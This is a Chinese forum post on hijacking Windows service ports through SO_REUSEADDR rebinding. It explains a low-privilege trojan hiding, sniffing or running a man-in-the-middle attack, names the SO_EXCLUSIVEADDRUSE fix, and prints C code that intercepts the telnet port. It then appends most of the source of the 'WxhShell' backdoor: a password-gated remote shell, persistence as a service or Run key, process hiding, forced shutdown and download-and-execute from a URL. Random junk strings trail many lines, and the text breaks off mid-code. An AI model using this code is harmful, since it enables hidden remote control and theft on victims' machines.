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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Y+kg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `wSoa#U"@  
^E%NYq_2l<  
  saddr.sin_family = AF_INET; mM_gOd  
H)y_[:[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S'>KGdF  
%O{FZgi%wA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TPY&O{ q  
u{dkUG1ia  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A.YK=_J  
W&m3"~BJ  
  这意味着什么?意味着可以进行如下的攻击: kHQn' r6  
{3!A \OR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &?']EcU5h9  
cvx"XxE,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZT,au SX  
PAVlZ}kj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Upm#:i|"  
"g(q)u >  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PI8ag  
b0tbS[j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YYvX@f  
CM `Q((  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0|4R8Dh*-  
j9cB<atL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g1B P  
R80|q#h,]  
  #include QqXaXx;  
  #include xx?0Ftuq  
  #include <YWu/\{KT  
  #include    ~u?rjkSFoh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v v   
  int main() J>nta?/,X  
  { NCm=l  
  WORD wVersionRequested; 472'P  
  DWORD ret; Ra C6RH  
  WSADATA wsaData; D^{jXNDNO  
  BOOL val; U)z1RHP|z  
  SOCKADDR_IN saddr; JBISA _Y  
  SOCKADDR_IN scaddr; dtXtZ!g2  
  int err; s GrI%3[e"  
  SOCKET s; %H}M[_f  
  SOCKET sc; 9AD0|,g  
  int caddsize; .0|_J|{  
  HANDLE mt; i_I`  
  DWORD tid;   475jmQ{q  
  wVersionRequested = MAKEWORD( 2, 2 ); J.0&gP V  
  err = WSAStartup( wVersionRequested, &wsaData ); TJ,?C$3  
  if ( err != 0 ) { A~L Ti  
  printf("error!WSAStartup failed!\n"); 6\)u\m`7-l  
  return -1; T8j<\0WW  
  } V7+/|P_  
  saddr.sin_family = AF_INET; 5+)_d%v=6!  
   O /h1ew  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /4+*!X  
CKDg3p';  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )EN ,Ry  
  saddr.sin_port = htons(23); 26j-1c!NGd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gX* &RsF  
  { 4@-Wp]  
  printf("error!socket failed!\n"); 3V]psZS  
  return -1; 1+tPd7U  
  } ^SwU]e  
  val = TRUE; @*$"6!3s5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7 S%`]M4;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0s.4]Zg>5  
  { m# ^).+  
  printf("error!setsockopt failed!\n"); ork{a.1-_w  
  return -1; 2$gFiZ  
  } ;47=x1j i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e"2x!(&n(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u5,vchZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d-]!aFj|U  
b_@bS<wsF}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F<,"{L  
  { t 9_&n.z  
  ret=GetLastError(); CY)[{r  
  printf("error!bind failed!\n"); EhN@;D+  
  return -1; L_IvR 4:j~  
  } =1mIk0H`  
  listen(s,2); 3LVL5y7|  
  while(1) &2W`dEv]?  
  { }BCxAwD4  
  caddsize = sizeof(scaddr); n$"B F\eM  
  //接受连接请求 !,*Uvs@b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2}ywNVS  
  if(sc!=INVALID_SOCKET) j9= )^?  
  { v)'Uoe"R%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ay28%[Q b4  
  if(mt==NULL) JOki4N  
  { j!a&l  
  printf("Thread Creat Failed!\n"); dp:5iuS  
  break; ?gXdi<2Qn  
  } QRER[8]r$  
  } m9Dg%\B  
  CloseHandle(mt); "+BuFhSLf  
  } PC)V".W 1  
  closesocket(s); V>Nw2u!!  
  WSACleanup(); 1sfs!b&E  
  return 0; [wUJ ~~2#  
  }   ~hU^5R-%  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'W[Nr  
  { CWnRRZ}r  
  SOCKET ss = (SOCKET)lpParam; JZD&u6tB   
  SOCKET sc;  c$)!02  
  unsigned char buf[4096]; zM'2opiUY  
  SOCKADDR_IN saddr; gac/%_-HH7  
  long num; 'Ub\8<HfJU  
  DWORD val; E^m2:J]G  
  DWORD ret; (DTkK5/%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IPnx5#eB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ly6) ,[q~  
  saddr.sin_family = AF_INET; _Tma1 ~Gq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0O?!fd n  
  saddr.sin_port = htons(23); bj 0-72V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W-vEh  
  { X""}]@B9z  
  printf("error!socket failed!\n"); jt&rOPL7  
  return -1; 4eS(dPI0  
  } L4Si0 K  
  val = 100; |C\XU5}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QWK\6  
  { }h\]0'S~J~  
  ret = GetLastError(); 4&E &{<;  
  return -1; p,#**g:  
  } e&=T`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5U/C 0{6  
  { p%CcD]o  
  ret = GetLastError(); \J{ %xW>  
  return -1; =]sM,E,n  
  } 4)d#dy::\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .A <n2-  
  { ':T6m=yv  
  printf("error!socket connect failed!\n"); TfFH!1^+  
  closesocket(sc); %>:d5"&Lbs  
  closesocket(ss); 9 N@N U:M+  
  return -1; k #/%#rQM  
  } P.]O8r  
  while(1) D-\z'gS  
  { ,SoqVboRl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &n& ndq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QdP)-Fx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ro@`S:  
  num = recv(ss,buf,4096,0); @*~cmf&FIQ  
  if(num>0) `z`"0;,7S  
  send(sc,buf,num,0); ]WC@*3'kye  
  else if(num==0) </7?puVR  
  break; 0'^zIL#.  
  num = recv(sc,buf,4096,0); V?Ye^ -29  
  if(num>0) K#'{Ko  
  send(ss,buf,num,0); 8'Bik  
  else if(num==0) {;Y2O.lV  
  break; tje   
  } A(qy>x-BI  
  closesocket(ss); e/V8lo  
  closesocket(sc); \g\,  
  return 0 ; 8 @4)p.{5I  
  } *'ex>4^  
5TcirVO82  
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========================================================== KN zm)O  
nHmi%R7k  
下边附上一个代码,,WXhSHELL m=%WA5c?  
Ptv=Bwg  
========================================================== ;/.XAxkFL  
AP_2.V=Sn  
#include "stdafx.h"  k/}E(_e  
a$'= a09  
#include <stdio.h> Wq]Lb:&{a  
#include <string.h> -OV!56&  
#include <windows.h> 0p' =Vel{}  
#include <winsock2.h> lzStJ,NPqn  
#include <winsvc.h> H-1y2AQ  
#include <urlmon.h> 1t7S:IZ  
Dz>v;%$S-  
#pragma comment (lib, "Ws2_32.lib") [1gWc`#  
#pragma comment (lib, "urlmon.lib") S,TK;g  
&+V|Ldh  
#define MAX_USER   100 // 最大客户端连接数 /I3>u  
#define BUF_SOCK   200 // sock buffer kkE1CHY  
#define KEY_BUFF   255 // 输入 buffer 7tr;adjs  
c_^-`7g  
#define REBOOT     0   // 重启 Y;WHjW(K  
#define SHUTDOWN   1   // 关机 O(oGRK<xM  
~Fd<d[b?  
#define DEF_PORT   5000 // 监听端口 4zM$I  
?Wm.'S'to  
#define REG_LEN     16   // 注册表键长度 :If1zB)  
#define SVC_LEN     80   // NT服务名长度 }J&[Uc  
mOvwdRKn  
// 从dll定义API +c^[[ K"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F2$Z4%x#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bC@9 */i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' |>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {`vv-[j|  
Q+UqLass  
// wxhshell配置信息 lnoK.Vk9,  
struct WSCFG { Ju"*>66  
  int ws_port;         // 监听端口 vo_m$/O  
  char ws_passstr[REG_LEN]; // 口令 P I0[  
  int ws_autoins;       // 安装标记, 1=yes 0=no e8"?Qm7 J  
  char ws_regname[REG_LEN]; // 注册表键名 GY%48}7  
  char ws_svcname[REG_LEN]; // 服务名 G&/RJLX|w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l|P(S(ikh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HO(9 )sK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U^$o< 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *@2?_b}A ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z@I.socA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k6vY/)-S  
E#=slj @  
}; r!vSYgee  
`kd P)lI `  
// default Wxhshell configuration ?lYi![.o  
struct WSCFG wscfg={DEF_PORT, h)qapC5z,  
    "xuhuanlingzhe", sKT GZA  
    1, g&30@D"  
    "Wxhshell", mw1|>*X&R  
    "Wxhshell", b^Xq(q>5  
            "WxhShell Service", HJ2r~KIw  
    "Wrsky Windows CmdShell Service", OJL?[<I  
    "Please Input Your Password: ", /M;A)z  
  1, W=$d|*$  
  "http://www.wrsky.com/wxhshell.exe", =gb.%a{R  
  "Wxhshell.exe" p Rn vd|  
    }; pZ,P_?  
C1@6 r%YD  
// 消息定义模块 W:^\Oe5&a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %usy`4 2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a0oM KGW:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'K=n}}&:  
char *msg_ws_ext="\n\rExit."; (bk~,n_  
char *msg_ws_end="\n\rQuit."; TrHz(no  
char *msg_ws_boot="\n\rReboot..."; H *gF>1  
char *msg_ws_poff="\n\rShutdown..."; #lM :BO  
char *msg_ws_down="\n\rSave to "; >d&_e[j  
jMvWS71  
char *msg_ws_err="\n\rErr!"; B|-E3v:f 4  
char *msg_ws_ok="\n\rOK!"; IZV D.1  
A7!=`yA$  
char ExeFile[MAX_PATH]; }l/ !thzC  
int nUser = 0; j`Xe0U<  
HANDLE handles[MAX_USER]; R&BbXSIDX  
int OsIsNt; vt" 7[!O  
ptXLWv`  
SERVICE_STATUS       serviceStatus; 4A_}:nU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %z&=A%'a  
Xx~XW ^lsh  
// 函数声明 P%v7(bqL4+  
int Install(void); e{~s\G8g  
int Uninstall(void); ZlHN-!OZp  
int DownloadFile(char *sURL, SOCKET wsh); =8?gx$r2  
int Boot(int flag); FL+^r6DQ  
void HideProc(void); .FS`Fh;  
int GetOsVer(void); vt3yCS  
int Wxhshell(SOCKET wsl); w6M EY"<L  
void TalkWithClient(void *cs); G(-1"7  
int CmdShell(SOCKET sock); *5bKJgwJ  
int StartFromService(void); c[4  H  
int StartWxhshell(LPSTR lpCmdLine); !Qu)JR  
:_%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^h z4IZ^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gOpGwpYZ,  
er Cl@sq  
// 数据结构和表定义 !tkP!%w  
SERVICE_TABLE_ENTRY DispatchTable[] = 2G'Au}q0n  
{ wD-(3ZVd4  
{wscfg.ws_svcname, NTServiceMain}, aO9a G*9T  
{NULL, NULL} @3/.W+  
}; F)mlCGv:R  
X0Q};,  
// 自我安装 `Trpv$   
int Install(void) 7tgn"wK  
{ cNzn2-qv  
  char svExeFile[MAX_PATH]; $= /.oh  
  HKEY key; Hf ]aA_:   
  strcpy(svExeFile,ExeFile); Zb)j2Xgl  
[]D@"Bz  
// 如果是win9x系统,修改注册表设为自启动 $okGqu8z.O  
if(!OsIsNt) { 0s"g%gq|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ppt`5F O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  R ^Wed  
  RegCloseKey(key); ad).X:Qs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >qjQ;z[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ULq#2l  
  RegCloseKey(key); d>z?JD t  
  return 0; xyK_1n@b  
    } Re3vW re  
  } 1/>#L6VAZ  
} '"{ IV  
else { _C3l 2v'I$  
P>/n!1c  
// 如果是NT以上系统,安装为系统服务 V 45\.V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A+Nf]([  
if (schSCManager!=0) U$j*{`$4  
{ 1=x4m=wV  
  SC_HANDLE schService = CreateService iq>PN:mr  
  ( ?:(BkY,K5  
  schSCManager, SG1fu<Q6J  
  wscfg.ws_svcname, t&+f:)n  
  wscfg.ws_svcdisp, "oX@Z^  
  SERVICE_ALL_ACCESS, Hf( d x\5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Y '+E  
  SERVICE_AUTO_START, kK2x';21  
  SERVICE_ERROR_NORMAL, #M;Cw}pW  
  svExeFile, 0GW(?7ZC  
  NULL, @GzEhv  
  NULL, 1s4+a^ &  
  NULL, 4-@D`,3L  
  NULL, Z `FqC  
  NULL jX5lwP Q|F  
  ); 0?3Ztdlb  
  if (schService!=0) : [o0Va2 d  
  { k23*F0Dv  
  CloseServiceHandle(schService); Vk/CV2  
  CloseServiceHandle(schSCManager); tSK{Abw1B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .!T]sX_P  
  strcat(svExeFile,wscfg.ws_svcname); $+eDoI'f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^&iUC&8W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Z0@z^6\  
  RegCloseKey(key); )jbYWR *&  
  return 0; <X}@afS  
    } L4I1nl  
  } f)x^s$H  
  CloseServiceHandle(schSCManager); ;h> s=D,r  
} (P {o9  
} x/Pi#Xm  
1df }gG  
return 1; nlaJ  
} E5.3wOE  
/an$4?":~  
// 自我卸载 2 fp\s5%J}  
int Uninstall(void) GQXN1R   
{ f.ku v"  
  HKEY key; o:u *E  
:Hdn&a i  
if(!OsIsNt) { `z<k7ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /P bN!r<1  
  RegDeleteValue(key,wscfg.ws_regname); {7!WtH;-  
  RegCloseKey(key); )En*5-1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h~rSM#7m  
  RegDeleteValue(key,wscfg.ws_regname); _w8iPL5:  
  RegCloseKey(key); s^Lg*t 3I  
  return 0; #Aox$[|@  
  } 6T>e~<^  
} f8um.Xnp6  
} PzThVeJ+  
else { s u]x  
J1kG'cH05  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Td%[ -  
if (schSCManager!=0) @Y":DHF5q  
{ %k(V 2]WF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AL%H$I  
  if (schService!=0) <`8l8cL  
  { %;+Q0 e9  
  if(DeleteService(schService)!=0) { o@6:|X)7  
  CloseServiceHandle(schService); i;!#:JX  
  CloseServiceHandle(schSCManager); 7Pu.<b}  
  return 0; r=YprVX  
  } 0U'g2F>{  
  CloseServiceHandle(schService); 0`:B#ten  
  } #w3cImgp2  
  CloseServiceHandle(schSCManager);  u!TVvc  
} L=W8Q8hf  
} [5$=G@ zf  
Q C?*O?~#  
return 1; dLQV>oF  
} L1;IXCc=  
:=u Ku'~  
// 从指定url下载文件 c}K>#{YeB  
int DownloadFile(char *sURL, SOCKET wsh) R(Y4nw+Y-  
{ Jybx'vZj  
  HRESULT hr; >(Mu9ie*`  
char seps[]= "/"; bgs2~50  
char *token; Ym~*5|  
char *file; KF&1Y>t=  
char myURL[MAX_PATH]; _:4n&1{.E  
char myFILE[MAX_PATH]; #Pi}2RBRu  
hawE2k0p(  
strcpy(myURL,sURL); S~auwY,<  
  token=strtok(myURL,seps); 6A$ \I44  
  while(token!=NULL) cl s-x@ Kd  
  { FFGG6r  
    file=token; 5yO %|)  
  token=strtok(NULL,seps); u`Kjs}F'  
  } _:|/4.]`_  
\Q[u?/TF  
GetCurrentDirectory(MAX_PATH,myFILE); n DLr17  
strcat(myFILE, "\\"); zx  
strcat(myFILE, file); vr#_pu)f4  
  send(wsh,myFILE,strlen(myFILE),0); }lzUl mRTe  
send(wsh,"...",3,0); alM ^ X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -x i]~svg  
  if(hr==S_OK) ghq#-N/t  
return 0; xB=~3  
else Y/Yp+W6n  
return 1; =sVB.P  
F6 ?4E"d  
} ,#Y>nP0  
5N=QS1<$5  
// 系统电源模块 ?ysC7 ((  
int Boot(int flag) KrNu7/H  
{ (vHB`@x  
  HANDLE hToken; ;<qv-$P  
  TOKEN_PRIVILEGES tkp; RM2<%$  
G5~ Jp#uA  
  if(OsIsNt) { :p^7XwX%w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X.V6v4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lc%2fVG-e  
    tkp.PrivilegeCount = 1; JGjqBuz#A*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L' w }  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^VCgc>x;  
if(flag==REBOOT) { W| S{v7[l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cf#[E~24  
  return 0; (dl7+  
} Y> }[c   
else { *,Bo $:(n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zX+NhTTB  
  return 0; Ik_u34U  
} 8RC7 Ei  
  } rOC2 S(m  
  else { d\Q~L 3x  
if(flag==REBOOT) { Zi$v-b*<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $@y<.?k>UP  
  return 0; RGrra<  
} H4#|f n  
else { at_~b Ox6X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sBozz#  
  return 0; /Q Xq<NG  
} vvEr}G  
}  +z/_'DE  
gc|?$aE  
return 1; 4Eq$f (QJ  
} |fYr*8rH  
dq$H^BB+>  
// win9x进程隐藏模块 nZ>8r  
void HideProc(void) iXl6XwWT%8  
{ .6I*=qv)NA  
L[4Su;D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ji<^s@8Zc  
  if ( hKernel != NULL ) LIM cZh;  
  { o5(`7XV6D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~s_n\r&23  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gWcl@|I;\  
    FreeLibrary(hKernel); yEm[C(gZ  
  } ^_dYE]t  
d;GF<bz  
return; iY @MnnX  
} nqX)+{wAXe  
nSWW^ ;  
// 获取操作系统版本 3\J-=U  
int GetOsVer(void) ?2D1gjr  
{ D@ :w/W  
  OSVERSIONINFO winfo; C(( 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sB|>\O#-  
  GetVersionEx(&winfo); &gdtI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U&W{;myt  
  return 1; y_bb//IAG  
  else o#wDA0T  
  return 0; 6ybpPls  
} SF?Ublc!   
[UqJ3@>  
// 客户端句柄模块 L`v7|!X  
int Wxhshell(SOCKET wsl) *aKT&5Ch-  
{ US<bM@[  
  SOCKET wsh; p BU,"Yy&  
  struct sockaddr_in client; b(<#n6a}\  
  DWORD myID; q}vz]L&o  
[~cb&6|M  
  while(nUser<MAX_USER) 3N8RZt1.b  
{ &_mOw.  
  int nSize=sizeof(client); j*uc$hC"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `?Wy;5-  
  if(wsh==INVALID_SOCKET) return 1; 7g'jg7  
G&i<&.i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B&J;yla6`d  
if(handles[nUser]==0) :G+8%pUX]  
  closesocket(wsh); )HPt(Ck  
else O6nCu  
  nUser++; [T8BQn!  
  } [ 0? *J<d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <=m@Sg{o  
ySyA!Z  
  return 0; @=@7Uu-  
} !`j}%!K!  
U&DD+4+28:  
// 关闭 socket yb)!jLnH  
void CloseIt(SOCKET wsh) tqdw y.  
{ ]w2nVC 3  
closesocket(wsh); S.,om;`  
nUser--; fQZ,kl  
ExitThread(0); yk1.fxik'  
} AcF6p)@_  
P+tnXT>nE  
// 客户端请求句柄 1A>>#M=A  
void TalkWithClient(void *cs) Y", :u@R  
{ E+>$@STv#  
|3tq.JU  
  SOCKET wsh=(SOCKET)cs; GEJEhwO;H  
  char pwd[SVC_LEN]; eBw6k09C+  
  char cmd[KEY_BUFF]; 9 gt$z}oU  
char chr[1]; ][Ne;F6  
int i,j; p#['CqP8  
F(j vdq  
  while (nUser < MAX_USER) { .Sz<%d7XIQ  
xiv1y4(%  
if(wscfg.ws_passstr) { 2<18j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ArPoJt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GR@jn]50  
  //ZeroMemory(pwd,KEY_BUFF); E_t ^osY&  
      i=0; '`.bmiM  
  while(i<SVC_LEN) { &YAw~1A  
P2lDi!q|  
  // 设置超时 ~0S_S+e  
  fd_set FdRead; y[ikpp#ozY  
  struct timeval TimeOut; lJe=z  
  FD_ZERO(&FdRead); 9NX/OctFa'  
  FD_SET(wsh,&FdRead); r!DUsE  
  TimeOut.tv_sec=8; VK7lm|J+  
  TimeOut.tv_usec=0; 3v oas  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y _Mte  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J<[Hw g  
Xi^#F;@sU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y]dA<d?u  
  pwd=chr[0]; lRIS&9vA3  
  if(chr[0]==0xd || chr[0]==0xa) { 6rBXC <Z  
  pwd=0; #;l~Y}7'  
  break; 9d4Agj M  
  } 0~.OMG:=  
  i++; x  RV@ _  
    } }Xn5M&>?  
@@&([f  
  // 如果是非法用户,关闭 socket n\ l$R!zr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G}MJWf Hl  
} l$j/Ye]  
f$\gm+&hXE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qXI>x6?*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JqX+vRY;dd  
XeGtge/}T  
while(1) { })zYo 7  
)U>JFgpIW  
  ZeroMemory(cmd,KEY_BUFF); Uc j eB  
l]pHj4`uv  
      // 自动支持客户端 telnet标准   _z`g@[m:t  
  j=0; *U[Nn5#?  
  while(j<KEY_BUFF) { Q/JX8<7K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -UJ; =/  
  cmd[j]=chr[0]; pA ,xDs@37  
  if(chr[0]==0xa || chr[0]==0xd) { VR/*h%  
  cmd[j]=0;  >^<%9{  
  break; &W'X3!Te  
  } 7hg)R @OC  
  j++; ;@I4[4ph}  
    } ^xB=d S~  
t%xD epFQ  
  // 下载文件 \NIj&euF  
  if(strstr(cmd,"http://")) { D #<)q)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _{d0Nm  
  if(DownloadFile(cmd,wsh)) r`t|}m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x *p>l !  
  else x)+3SdH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]VarO'  
  } 4 w$f-   
  else { y":Y$v,P  
x<mHTh:-V  
    switch(cmd[0]) { 1Wz -Z  
  R~=_,JUW  
  // 帮助 s>A!Egmo  
  case '?': { m2j&v$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SHc<`M'+  
    break; )QeXA )  
  } ~Ogtgr  
  // 安装 3hN.`G-E  
  case 'i': { ^xBF$ua37)  
    if(Install()) 7Nw} }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>e%5[F  
    else }ZP;kM$g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A7|CG[wZ  
    break; BCrX>Pp }r  
    } 9|;"+jlt  
  // 卸载 @W{VT7w  
  case 'r': { &}YJ"o[I  
    if(Uninstall()) Py&DnG'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'G6M:IXno  
    else o~ v   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jp'XZ]o\  
    break; +Wr"c  
    } I U Mt^z  
  // 显示 wxhshell 所在路径 ^rHG#^hA  
  case 'p': { ZSB_OS[N  
    char svExeFile[MAX_PATH]; X=sC8Edx  
    strcpy(svExeFile,"\n\r"); zc}qAy'<  
      strcat(svExeFile,ExeFile); \.@fAgv  
        send(wsh,svExeFile,strlen(svExeFile),0); ^oL43#Nlo  
    break; `{1&*4!  
    } PT`];C(he  
  // 重启 W .B>"u  
  case 'b': { 47GL[ofY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {~Q9jg(A  
    if(Boot(REBOOT)) ~v /NG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`BNSdEN>  
    else { #_A <C+[  
    closesocket(wsh); 1XwW4cZ>:  
    ExitThread(0); ]VYv>o`2  
    } R')D~JJ<8a  
    break; O%w"bEr)N  
    } UG]]Vk1d]  
  // 关机 <c,/+ lQ^  
  case 'd': { .e^AS~4pl  
